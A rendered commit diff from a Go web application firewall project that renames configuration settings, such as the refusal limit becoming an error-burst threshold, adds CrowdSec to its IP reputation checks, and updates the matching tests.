// RequestLog receives two JSON lines per question, one at its decision and // RequestLog receives two JSON lines per question, one at its decision and
// one when its report comes, and one per request to waf's own // one when its report comes, and one per request to waf's own
// endpoints. // endpoints.
@@ -75,9 +75,9 @@ type Params struct {
Rules *rules.Files Rules *rules.Files
// Alerts receive the alert for each ban waf makes or makes // Alerts receive the alert for each ban waf makes or makes
// permanent, for each count over an anomaly threshold, for each request // permanent, for each count over an anomaly threshold, for each request
// whose client a blocklist, a DNSBL zone or AbuseIPDB lists, for each // whose client a blocklist, the CrowdSec decision list, a DNSBL zone or
// request the Core Rule Set scores at or over // AbuseIPDB lists, for each request the Core Rule Set scores at or over
// SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD, and for GeoJS failing, a fetch of a list // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD, and for GeoJS failing, a fetch of a list
// failing, a query to a DNSBL zone or a check with AbuseIPDB failing, // failing, a query to a DNSBL zone or a check with AbuseIPDB failing,
// or the day's AbuseIPDB checks used up. // or the day's AbuseIPDB checks used up.
Alerts *alerts.Queue Alerts *alerts.Queue
@@ -106,10 +106,7 @@ type Server struct {
// newHandler returns the handler with what every request shares, as the // newHandler returns the handler with what every request shares, as the
// settings in params make it. // settings in params make it.
func newHandler(params Params) *handler { func newHandler(params Params) *handler {
m := metrics.New( m := metrics.New(params.Config.MetricsTopN, params.Config.InstanceName)
params.Config.MetricsBusiestCountriesAndASNs,
params.Config.InstanceName,
)
lists, dnsbl, abuseIPDB := newReputation(params, m) lists, dnsbl, abuseIPDB := newReputation(params, m)
awaitingReport, err := lru.New[string, *decision](maxAwaitingReport) awaitingReport, err := lru.New[string, *decision](maxAwaitingReport)
@@ -135,7 +132,7 @@ func newHandler(params Params) *handler {
ledger: bans.New(bans.Params{ ledger: bans.New(bans.Params{
LimitBanDuration: params.Config.LimitBanDuration, LimitBanDuration: params.Config.LimitBanDuration,
LimitBanRepeatWindow: params.Config.LimitBanRepeatWindow, LimitBanRepeatWindow: params.Config.LimitBanRepeatWindow,
LimitBanPermanentAbove: params.Config.LimitBanPermanentAbove, MaxBanDuration: params.Config.MaxBanDuration,
AttackBanDuration: params.Config.AttackBanDuration, AttackBanDuration: params.Config.AttackBanDuration,
MaxBans: params.Config.MaxBans, MaxBans: params.Config.MaxBans,
}), }),
@@ -144,10 +141,10 @@ func newHandler(params Params) *handler {
Net: params.Config.AnomalyNet, Net: params.Config.AnomalyNet,
ASN: params.Config.AnomalyASN, ASN: params.Config.AnomalyASN,
Total: params.Config.AnomalyTotal, Total: params.Config.AnomalyTotal,
WatchedNet: params.Config.AnomalyWatchedNet, Watch: params.Config.AnomalyWatch,
NetV4Prefix: params.Config.AnomalyNetV4Prefix, NetV4Prefix: params.Config.AnomalyNetV4Prefix,
NetV6Prefix: params.Config.AnomalyNetV6Prefix, NetV6Prefix: params.Config.AnomalyNetV6Prefix,
NamedNetblocks: params.Config.AnomalyWatchedNets, NamedNetblocks: params.Config.WatchNets,
Alerts: params.Alerts, Alerts: params.Alerts,
}), }),
lookupFile: params.LookupFile, lookupFile: params.LookupFile,
@@ -166,7 +163,7 @@ func newHandler(params Params) *handler {
h.geojs = lookup.New(lookup.Params{ h.geojs = lookup.New(lookup.Params{
URL: params.GeoJSURL, URL: params.GeoJSURL,
Timeout: params.Config.ASNAndCountryLookupTimeout, Timeout: params.Config.LookupTimeout,
// The country list, the headers, the tag settings that name an asn= // The country list, the headers, the tag settings that name an asn=
// or country= tag and the biased thresholds act on the answer before // or country= tag and the biased thresholds act on the answer before
// the request goes on. // the request goes on.
@@ -194,24 +191,21 @@ func newReputation(
) (*reputation.Lists, *reputation.DNSBL, *reputation.AbuseIPDB) { ) (*reputation.Lists, *reputation.DNSBL, *reputation.AbuseIPDB) {
cfg := params.Config cfg := params.Config
lists := reputation.New(reputation.Params{ lists := reputation.New(reputation.Params{
BlocklistURLs: cfg.BlocklistURLs, BlocklistURLs: cfg.BlocklistURLs, Refresh: cfg.BlocklistRefresh,
Refresh: cfg.BlocklistRefresh,
ASNLimitPercentURL: cfg.ASNLimitPercentURL, ASNLimitPercentURL: cfg.ASNLimitPercentURL,
TagLists: cfg.TagLists, TagLists: cfg.TagLists,
Now: params.Now, CrowdSecDecisionsURL: cfg.CrowdSecDecisionsURL, CrowdSecKey: cfg.CrowdSecKey,
ProcessLog: params.ProcessLog, Now: params.Now, ProcessLog: params.ProcessLog, Alerts: params.Alerts,
Alerts: params.Alerts,
}) })
dnsbl := reputation.NewDNSBL(reputation.DNSBLParams{ dnsbl := reputation.NewDNSBL(reputation.DNSBLParams{
Zones: cfg.DNSBLZones, Resolver: cfg.DNSBLResolver, Zones: cfg.DNSBLZones, Resolver: cfg.DNSBLResolver, CacheTTL: cfg.ReputationCacheTTL,
CacheTTL: cfg.IPReputationCacheTTL, Timeout: cfg.ReputationTimeout, Now: params.Now, ProcessLog: params.ProcessLog,
Timeout: cfg.DNSBLAbuseIPDBTimeout, Now: params.Now, ProcessLog: params.ProcessLog,
Alerts: params.Alerts, Alerts: params.Alerts,
}) })
abuseIPDB := reputation.NewAbuseIPDB(reputation.AbuseIPDBParams{ abuseIPDB := reputation.NewAbuseIPDB(reputation.AbuseIPDBParams{
URL: params.AbuseIPDBURL, Key: cfg.AbuseIPDBKey, MinScore: cfg.AbuseIPDBMinScore, URL: params.AbuseIPDBURL, Key: cfg.AbuseIPDBKey, MinScore: cfg.AbuseIPDBMinScore,
DailyBudget: cfg.AbuseIPDBDailyBudget, CacheTTL: cfg.IPReputationCacheTTL, DailyBudget: cfg.AbuseIPDBDailyBudget, CacheTTL: cfg.ReputationCacheTTL,
Timeout: cfg.DNSBLAbuseIPDBTimeout, Now: params.Now, ProcessLog: params.ProcessLog, Timeout: cfg.ReputationTimeout, Now: params.Now, ProcessLog: params.ProcessLog,
Alerts: params.Alerts, Alerts: params.Alerts,
}) })
@@ -226,7 +220,7 @@ func newReputation(
// NewCoreRuleSet returns the Core Rule Set at SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL, // NewCoreRuleSet returns the Core Rule Set at SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL,
// without the rules SWW_WAF_CORE_RULE_SET_DISABLED_RULES switches off, reading bodies // without the rules SWW_WAF_CORE_RULE_SET_DISABLED_RULES switches off, reading bodies
// up to SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE, with the exclusions in // up to SWW_WAF_CORE_RULE_SET_BODY_LIMIT, with the exclusions in
// SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE and the fixes of the apps in SWW_WAF_APPS, // SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE and the fixes of the apps in SWW_WAF_APPS,
// or nil while SWW_WAF_CORE_RULE_SET_MODE is off. It // or nil while SWW_WAF_CORE_RULE_SET_MODE is off. It
// reads at most QuestionBodyMaxBytes less one byte: a question's body of // reads at most QuestionBodyMaxBytes less one byte: a question's body of
@@ -234,19 +228,15 @@ func newReputation(
// JSON or XML body over its limit. An exclusions file that coreruleset.New refuses is // JSON or XML body over its limit. An exclusions file that coreruleset.New refuses is
// an error in every mode. While the mode is off, a set file is loaded with the // an error in every mode. While the mode is off, a set file is loaded with the
// Core Rule Set only to check it. // Core Rule Set only to check it.
func NewCoreRuleSet(cfg *config.WAF) (*coreruleset.CoreRuleSet, error) { func NewCoreRuleSet(cfg *config.Config) (*coreruleset.CoreRuleSet, error) {
if cfg.CoreRuleSetMode == config.CoreRuleSetModeOff && if cfg.WAFMode == config.WAFModeOff &&
cfg.CoreRuleSetExclusionsFile == "" { cfg.CoreRuleSetExclusionsFile == "" {
return nil, nil //nolint:nilnil // off is no Core Rule Set, and no error return nil, nil //nolint:nilnil // off is no Core Rule Set, and no error
} }
coreRuleSet, err := coreruleset.New(coreruleset.Params{ coreRuleSet, err := coreruleset.New(coreruleset.Params{
ParanoiaLevel: cfg.CoreRuleSetParanoiaLevel, ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules,
DisabledRules: cfg.CoreRuleSetDisabledRules, BodyLimit: min(cfg.WAFBodyLimit, QuestionBodyMaxBytes-1),
BodyInspectionSize: min(
cfg.CoreRuleSetBodyInspectionSize,
QuestionBodyMaxBytes-1,
),
ExclusionsFile: cfg.CoreRuleSetExclusionsFile, ExclusionsFile: cfg.CoreRuleSetExclusionsFile,
Apps: cfg.Apps, Apps: cfg.Apps,
}) })
@@ -257,7 +247,7 @@ func NewCoreRuleSet(cfg *config.WAF) (*coreruleset.CoreRuleSet, error) {
) )
} }
if cfg.CoreRuleSetMode == config.CoreRuleSetModeOff { if cfg.WAFMode == config.WAFModeOff {
return nil, nil //nolint:nilnil // off is no Core Rule Set, and no error return nil, nil //nolint:nilnil // off is no Core Rule Set, and no error
} }
@@ -267,7 +257,7 @@ func NewCoreRuleSet(cfg *config.WAF) (*coreruleset.CoreRuleSet, error) {
// handler is waf's handler. It holds what every request shares; what // handler is waf's handler. It holds what every request shares; what
// belongs to one request is in a request. // belongs to one request is in a request.
type handler struct { type handler struct {
config *config.WAF config *config.Config
requestLog io.Writer requestLog io.Writer
processLog *slog.Logger processLog *slog.Logger
now func() time.Time now func() time.Time
internal/waf/proxy_test.go
+11 -13
View File
@@ -68,7 +68,7 @@ const (
rateLimitExemptPaths = "SWW_WAF_RATE_LIMIT_EXEMPT_PATHS" rateLimitExemptPaths = "SWW_WAF_RATE_LIMIT_EXEMPT_PATHS"
lookupSource = "SWW_WAF_LOOKUP_SOURCE" lookupSource = "SWW_WAF_LOOKUP_SOURCE"
lookupDBPath = "SWW_WAF_LOOKUP_DB_PATH" lookupDBPath = "SWW_WAF_LOOKUP_DB_PATH"
asnAndCountryLookupTimeout = "SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS" lookupTimeout = "SWW_WAF_LOOKUP_TIMEOUT"
addLookupHeaders = "SWW_WAF_ADD_LOOKUP_HEADERS" addLookupHeaders = "SWW_WAF_ADD_LOOKUP_HEADERS"
tagDeny = "SWW_WAF_TAG_DENY" tagDeny = "SWW_WAF_TAG_DENY"
// denyKP is the value of SWW_WAF_TAG_DENY that refuses fromKP's country. // denyKP is the value of SWW_WAF_TAG_DENY that refuses fromKP's country.
@@ -77,14 +77,14 @@ const (
banResponse = "SWW_WAF_BAN_RESPONSE" banResponse = "SWW_WAF_BAN_RESPONSE"
limitBanDuration = "SWW_WAF_LIMIT_BAN_DURATION" limitBanDuration = "SWW_WAF_LIMIT_BAN_DURATION"
limitBanRepeatWindow = "SWW_WAF_LIMIT_BAN_REPEAT_WINDOW" limitBanRepeatWindow = "SWW_WAF_LIMIT_BAN_REPEAT_WINDOW"
limitBanPermanentAbove = "SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE" maxBanDuration = "SWW_WAF_MAX_BAN_DURATION"
maxBans = "SWW_WAF_MAX_BANS" maxBans = "SWW_WAF_MAX_BANS"
banScopeV4Prefix = "SWW_WAF_BAN_SCOPE_V4_PREFIX" banScopeV4Prefix = "SWW_WAF_BAN_SCOPE_V4_PREFIX"
instanceName = "SWW_WAF_INSTANCE_NAME" instanceName = "SWW_WAF_INSTANCE_NAME"
logRequestHeaders = "SWW_WAF_LOG_REQUEST_HEADERS" logRequestHeaders = "SWW_WAF_LOG_REQUEST_HEADERS"
attackBanDuration = "SWW_WAF_ATTACK_BAN_DURATION" attackBanDuration = "SWW_WAF_ATTACK_BAN_DURATION"
ruleFilesDir = "SWW_WAF_RULE_FILES_DIR" rulesDir = "SWW_WAF_RULES_DIR"
coreRuleSetMode = "SWW_WAF_CORE_RULE_SET_MODE" wafMode = "SWW_WAF_CORE_RULE_SET_MODE"
) )
// off is the value that switches a setting off. // off is the value that switches a setting off.
@@ -301,7 +301,7 @@ func startProxyWithGeoJS(
// startProxyWithClock is startProxyWithGeoJS with requests counted and // startProxyWithClock is startProxyWithGeoJS with requests counted and
// bans made by the time now tells, and returns waf's server as well, whose // bans made by the time now tells, and returns waf's server as well, whose
// Addr is where waf listens. Unless env sets SWW_WAF_RULE_FILES_DIR, it is an empty // Addr is where waf listens. Unless env sets SWW_WAF_RULES_DIR, it is an empty
// directory, of no rules, and unless it sets SWW_WAF_INSTANCE_NAME, that is app, // directory, of no rules, and unless it sets SWW_WAF_INSTANCE_NAME, that is app,
// the label instance of every metric. // the label instance of every metric.
func startProxyWithClock( func startProxyWithClock(
@@ -362,10 +362,8 @@ func serve(t *testing.T, server *waf.Server) {
// startRProxy starts rproxy in front of the app at appURL, asking the waf // startRProxy starts rproxy in front of the app at appURL, asking the waf
// at wafAddr, with the settings in env on top of the defaults, and returns // at wafAddr, with the settings in env on top of the defaults, and returns
// where it listens. What it writes is dropped. // where it listens. What it writes is dropped. SWW_RPROXY_TIMEOUT_MS is a minute unless
// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS is a minute unless env sets it, so that // env sets it, so that on a busy host SWW_RPROXY_DEFAULT_DISPOSITION does not decide.
// on a busy host SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION does not
// decide.
func startRProxy( func startRProxy(
t *testing.T, wafAddr, appURL string, env map[string]string, t *testing.T, wafAddr, appURL string, env map[string]string,
) string { ) string {
@@ -374,7 +372,7 @@ func startRProxy(
settings := map[string]string{ settings := map[string]string{
"SWW_RPROXY_WAF_BACKEND": "http://" + wafAddr, "SWW_RPROXY_WAF_BACKEND": "http://" + wafAddr,
"SWW_RPROXY_UPSTREAM_URL": appURL, "SWW_RPROXY_UPSTREAM_URL": appURL,
"SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS": "60000", "SWW_RPROXY_TIMEOUT_MS": "60000",
} }
maps.Copy(settings, env) maps.Copy(settings, env)
@@ -442,7 +440,7 @@ func newWAFWith(
t.Helper() t.Helper()
settings := map[string]string{ settings := map[string]string{
ruleFilesDir: t.TempDir(), instanceName: "app", coreRuleSetMode: off, rulesDir: t.TempDir(), instanceName: "app", wafMode: off,
} }
if geojsURL == "" { if geojsURL == "" {
settings[lookupSource] = off settings[lookupSource] = off
@@ -450,7 +448,7 @@ func newWAFWith(
maps.Copy(settings, env) maps.Copy(settings, env)
cfg, err := config.WAFFromEnvironment(configtest.Viper(settings)) cfg, err := config.FromEnvironment(configtest.Viper(settings))
if err != nil { if err != nil {
t.Fatalf("settings %v: %v", settings, err) t.Fatalf("settings %v: %v", settings, err)
} }
@@ -463,7 +461,7 @@ func newWAFWith(
) )
ruleFiles, err := rules.Load(rules.Params{ ruleFiles, err := rules.Load(rules.Params{
Dir: cfg.RuleFilesDir, Enabled: cfg.RuleFilesEnabled, ProcessLog: processLog, Dir: cfg.RulesDir, Enabled: cfg.RulesEnabled, ProcessLog: processLog,
}) })
if err != nil { if err != nil {
t.Fatalf("rule files: %v", err) t.Fatalf("rule files: %v", err)
internal/waf/refusallimit.go
+5 -5
View File
@@ -1,6 +1,6 @@
package waf package waf
// The heuristic refusal_limit. It reads SWW_WAF_REFUSALS_LIMIT_PER_MINUTE and // The heuristic refusal_limit. It reads SWW_WAF_ERROR_BURST_THRESHOLD and
// SWW_WAF_BAN_RESPONSE. // SWW_WAF_BAN_RESPONSE.
import ( import (
@@ -14,9 +14,9 @@ import (
// refusalLimit counts the request once it has been answered, if waf // refusalLimit counts the request once it has been answered, if waf
// refused it after a rule file match, a trap path or a Core Rule Set match, and // refused it after a rule file match, a trap path or a Core Rule Set match, and
// in observe mode if enforce mode would have: more than // in observe mode if enforce mode would have: more than
// SWW_WAF_REFUSALS_LIMIT_PER_MINUTE such refusals of the client within a minute break // SWW_WAF_ERROR_BURST_THRESHOLD such refusals of the client within a minute break
// a limit, which bans the client. A client in SWW_WAF_ALLOW_NETS, which the // a limit, which bans the client. A client in SWW_WAF_ALLOW_NETS, which the
// heuristics skip, is not counted, and nothing is while the limit is off. // heuristics skip, is not counted, and nothing is while the threshold is off.
// Its figures are the window, the count and the limit. // Its figures are the window, the count and the limit.
type refusalLimit struct{} type refusalLimit struct{}
@@ -28,7 +28,7 @@ func (refusalLimit) check(
now time.Time, now time.Time,
) *verdict { ) *verdict {
cfg := rq.h.config cfg := rq.h.config
if cfg.RefusalsLimitPerMinute == 0 { if cfg.ErrorBurstThreshold == 0 {
return nil return nil
} }
@@ -37,7 +37,7 @@ func (refusalLimit) check(
} }
hit, over := rq.h.limiter.CountRefusal(rq.h.clientGroup(rq.client), now, hit, over := rq.h.limiter.CountRefusal(rq.h.clientGroup(rq.client), now,
cfg.RefusalsLimitPerMinute) cfg.ErrorBurstThreshold)
if !over { if !over {
return nil return nil
} }
internal/waf/refusallimit_test.go
+39 -39
View File
@@ -15,7 +15,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/waf" "sneak.berlin/go/smallwebwaf/internal/waf"
) )
const refusalsLimitPerMinute = "SWW_WAF_REFUSALS_LIMIT_PER_MINUTE" const errorBurstThreshold = "SWW_WAF_ERROR_BURST_THRESHOLD"
// refused is a request the tests here send, which waf refuses after a rule // refused is a request the tests here send, which waf refuses after a rule
// file match. // file match.
@@ -48,16 +48,16 @@ func (r refused) send(s *sender, from string) logLine {
return logLine{} return logLine{}
} }
// startForRefusalLimit is startWithClock with testRules, the metrics token and // startForErrorBurst is startWithClock with testRules, the metrics token and
// SWW_WAF_REFUSALS_LIMIT_PER_MINUTE at limit, and the settings in env. // SWW_WAF_ERROR_BURST_THRESHOLD at threshold, and the settings in env.
func startForRefusalLimit( func startForErrorBurst(
t *testing.T, limit string, env map[string]string, t *testing.T, threshold string, env map[string]string,
) (*sender, *clock, *waf.Server) { ) (*sender, *clock, *waf.Server) {
t.Helper() t.Helper()
settings := map[string]string{ settings := map[string]string{
refusalsLimitPerMinute: limit, errorBurstThreshold: threshold,
ruleFilesDir: writeRules(t, testRules), rulesDir: writeRules(t, testRules),
metricsToken: token, metricsToken: token,
} }
maps.Copy(settings, env) maps.Copy(settings, env)
@@ -65,12 +65,12 @@ func startForRefusalLimit(
return startWithClock(t, "", settings) return startWithClock(t, "", settings)
} }
func TestRefusalLimitBreaksAtOneOverTheLimit(t *testing.T) { func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) {
t.Parallel() t.Parallel()
for _, tc := range []struct { for _, tc := range []struct {
name string name string
// refusals are four, one over the limit of three. // refusals are four, one over the threshold of three.
refusals []refused refusals []refused
// nextAction is the action of the client's next request: the next // nextAction is the action of the client's next request: the next
// request after a ban for a ban rule makes it permanent. // request after a ban for a ban rule makes it permanent.
@@ -90,7 +90,7 @@ func TestRefusalLimitBreaksAtOneOverTheLimit(t *testing.T) {
t.Run(tc.name, func(t *testing.T) { t.Run(tc.name, func(t *testing.T) {
t.Parallel() t.Parallel()
s, _, _ := startForRefusalLimit(t, "3", nil) s, _, _ := startForErrorBurst(t, "3", nil)
// Three refusals break nothing, and the app's answers between // Three refusals break nothing, and the app's answers between
// them are not counted. // them are not counted.
@@ -109,8 +109,8 @@ func TestRefusalLimitBreaksAtOneOverTheLimit(t *testing.T) {
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
} }
// The fourth is answered as the others were, breaks the refusal // The fourth is answered as the others were, breaks the error
// limit, and bans the client. // burst, and bans the client.
line := tc.refusals[3].send(s, client) line := tc.refusals[3].send(s, client)
if line.LimitHit != requestlog.LimitHitMinuteRefusals || if line.LimitHit != requestlog.LimitHitMinuteRefusals ||
line.Offence != requestlog.OffenceLimit { line.Offence != requestlog.OffenceLimit {
@@ -130,7 +130,7 @@ func TestRefusalLimitBreaksAtOneOverTheLimit(t *testing.T) {
func TestRefusalLimitBanNamesItsHeuristicWindowCountAndLimit(t *testing.T) { func TestRefusalLimitBanNamesItsHeuristicWindowCountAndLimit(t *testing.T) {
t.Parallel() t.Parallel()
s, _, _ := startForRefusalLimit(t, "1", nil) s, _, _ := startForErrorBurst(t, "1", nil)
const ruleFigures = `{"rule_id": "blocked", "rule_action": "block"}` const ruleFigures = `{"rule_id": "blocked", "rule_action": "block"}`
@@ -146,10 +146,10 @@ func TestRefusalLimitBanNamesItsHeuristicWindowCountAndLimit(t *testing.T) {
`{"window": "minute", "count": 2, "limit": 1}`) `{"window": "minute", "count": 2, "limit": 1}`)
} }
func TestRefusalLimitBanNotesHistoryAndMetrics(t *testing.T) { func TestErrorBurstBanNotesHistoryAndMetrics(t *testing.T) {
t.Parallel() t.Parallel()
s, clk, server := startForRefusalLimit(t, "2", nil) s, clk, server := startForErrorBurst(t, "2", nil)
start := clk.Now() start := clk.Now()
blockRule.send(s, client) blockRule.send(s, client)
@@ -221,18 +221,18 @@ func TestRefusalLimitBanNotesHistoryAndMetrics(t *testing.T) {
) )
} }
func TestRefusalLimitIsNotLoweredForAClientWithLowerLimits(t *testing.T) { func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
t.Parallel() t.Parallel()
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
s, _, server := startWithClock(t, geojsURL, map[string]string{ s, _, server := startWithClock(t, geojsURL, map[string]string{
asnAndCountryLookupTimeout: "3600000", lookupTimeout: "1h",
refusalsLimitPerMinute: "2", errorBurstThreshold: "2",
ruleFilesDir: writeRules(t, testRules), rulesDir: writeRules(t, testRules),
tagLimitPercent: countryTagDEHalf, tagLimitPercent: countryTagDEHalf,
}) })
// Half of the limit would be one, which the second refusal is over. // Half of the threshold would be one, which the second refusal is over.
for range 2 { for range 2 {
line := blockRule.send(s, fromDE) line := blockRule.send(s, fromDE)
if line.LimitHit != "" { if line.LimitHit != "" {
@@ -252,7 +252,7 @@ func TestRefusalLimitIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
} }
} }
func TestRefusalLimitDoesNotCountTheAppsAnswers(t *testing.T) { func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) {
t.Parallel() t.Parallel()
statuses := map[string]int{ statuses := map[string]int{
@@ -266,8 +266,8 @@ func TestRefusalLimitDoesNotCountTheAppsAnswers(t *testing.T) {
w.WriteHeader(statuses[r.URL.Path]) w.WriteHeader(statuses[r.URL.Path])
}, },
map[string]string{ map[string]string{
refusalsLimitPerMinute: "1", errorBurstThreshold: "1",
ruleFilesDir: writeRules(t, testRules), rulesDir: writeRules(t, testRules),
}, },
) )
@@ -277,7 +277,7 @@ func TestRefusalLimitDoesNotCountTheAppsAnswers(t *testing.T) {
} }
} }
// The first refusal is one, not over the limit. // The first refusal is one, not over the threshold.
line := blockRule.send(s, client) line := blockRule.send(s, client)
if line.LimitHit != "" { if line.LimitHit != "" {
t.Errorf("log line has limit_hit %q, want none", line.LimitHit) t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
@@ -293,23 +293,23 @@ func TestRefusalLimitDoesNotCountTheAppsAnswers(t *testing.T) {
wantAlerts(t, queue) wantAlerts(t, queue)
} }
func TestRefusalLimitOffOrAtItsDefault(t *testing.T) { func TestErrorBurstOffOrAtItsDefault(t *testing.T) {
t.Parallel() t.Parallel()
for _, tc := range []struct { for _, tc := range []struct {
limit string threshold string
// broken is whether the 31st refusal breaks the refusal limit. // broken is whether the 31st refusal breaks the error burst.
broken bool broken bool
}{ }{
{"", true}, {"", true},
{off, false}, {off, false},
} { } {
t.Run(refusalsLimitPerMinute+"="+tc.limit, func(t *testing.T) { t.Run(errorBurstThreshold+"="+tc.threshold, func(t *testing.T) {
t.Parallel() t.Parallel()
env := map[string]string{ruleFilesDir: writeRules(t, testRules)} env := map[string]string{rulesDir: writeRules(t, testRules)}
if tc.limit != "" { if tc.threshold != "" {
env[refusalsLimitPerMinute] = tc.limit env[errorBurstThreshold] = tc.threshold
} }
s, _, _ := startWithClock(t, "", env) s, _, _ := startWithClock(t, "", env)
@@ -322,7 +322,7 @@ func TestRefusalLimitOffOrAtItsDefault(t *testing.T) {
broken := line.LimitHit == requestlog.LimitHitMinuteRefusals broken := line.LimitHit == requestlog.LimitHitMinuteRefusals
if broken != tc.broken { if broken != tc.broken {
t.Errorf( t.Errorf(
"the 31st refusal broke the refusal limit: %t, want %t", "the 31st refusal broke the error burst: %t, want %t",
broken, broken,
tc.broken, tc.broken,
) )
@@ -331,7 +331,7 @@ func TestRefusalLimitOffOrAtItsDefault(t *testing.T) {
} }
} }
func TestRefusalLimitCountsEachClientTheChecksApplyTo(t *testing.T) { func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) {
t.Parallel() t.Parallel()
const ( const (
@@ -339,7 +339,7 @@ func TestRefusalLimitCountsEachClientTheChecksApplyTo(t *testing.T) {
exempt = "192.0.2.50" // in SWW_WAF_RATE_LIMIT_EXEMPT_NETS exempt = "192.0.2.50" // in SWW_WAF_RATE_LIMIT_EXEMPT_NETS
) )
s, _, _ := startForRefusalLimit(t, "1", map[string]string{ s, _, _ := startForErrorBurst(t, "1", map[string]string{
allowNets: allowed, rateLimitExemptNets: exempt, allowNets: allowed, rateLimitExemptNets: exempt,
}) })
@@ -367,10 +367,10 @@ func TestRefusalLimitCountsEachClientTheChecksApplyTo(t *testing.T) {
s.get(exempt, http.StatusForbidden, requestlog.ActionTemporarilyBanned) s.get(exempt, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
} }
func TestRefusalLimitBanSetsTheRefusalsBackToZero(t *testing.T) { func TestErrorBurstBanSetsTheRefusalsBackToZero(t *testing.T) {
t.Parallel() t.Parallel()
s, clk, _ := startForRefusalLimit( s, clk, _ := startForErrorBurst(
t, t,
"1", "1",
map[string]string{limitBanDuration: "1s"}, map[string]string{limitBanDuration: "1s"},
@@ -389,13 +389,13 @@ func TestRefusalLimitBanSetsTheRefusalsBackToZero(t *testing.T) {
} }
} }
func TestObserveModeLogsAndAlertsABrokenRefusalLimit(t *testing.T) { func TestObserveModeLogsAndAlertsTheErrorBurst(t *testing.T) {
t.Parallel() t.Parallel()
s, clk, server, queue := startWithAlerts(t, map[string]string{ s, clk, server, queue := startWithAlerts(t, map[string]string{
mode: observe, mode: observe,
refusalsLimitPerMinute: "1", errorBurstThreshold: "1",
ruleFilesDir: writeRules(t, testRules), rulesDir: writeRules(t, testRules),
}) })
start := clk.Now() start := clk.Now()
held := bans.Ban{ held := bans.Ban{
internal/waf/reputation.go
+3 -2
View File
@@ -1,13 +1,14 @@
package waf package waf
// What the reputation heuristics share: blocklists, dnsbl and abuseipdb. // What the reputation heuristics share: blocklists, crowdsec, dnsbl and
// abuseipdb.
import ( import (
"sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/bans"
) )
// deny is the SWW_WAF_BLOCKLIST_ACTION and the SWW_WAF_DNSBL_ABUSEIPDB_ACTION that // deny is the SWW_WAF_BLOCKLIST_ACTION and the SWW_WAF_REPUTATION_ACTION that
// refuses the requests of a client a source lists. // refuses the requests of a client a source lists.
const deny = "deny" const deny = "deny"
Loaded 100 of 111 files, more files were not shown because too many files have changed in this diff. Show more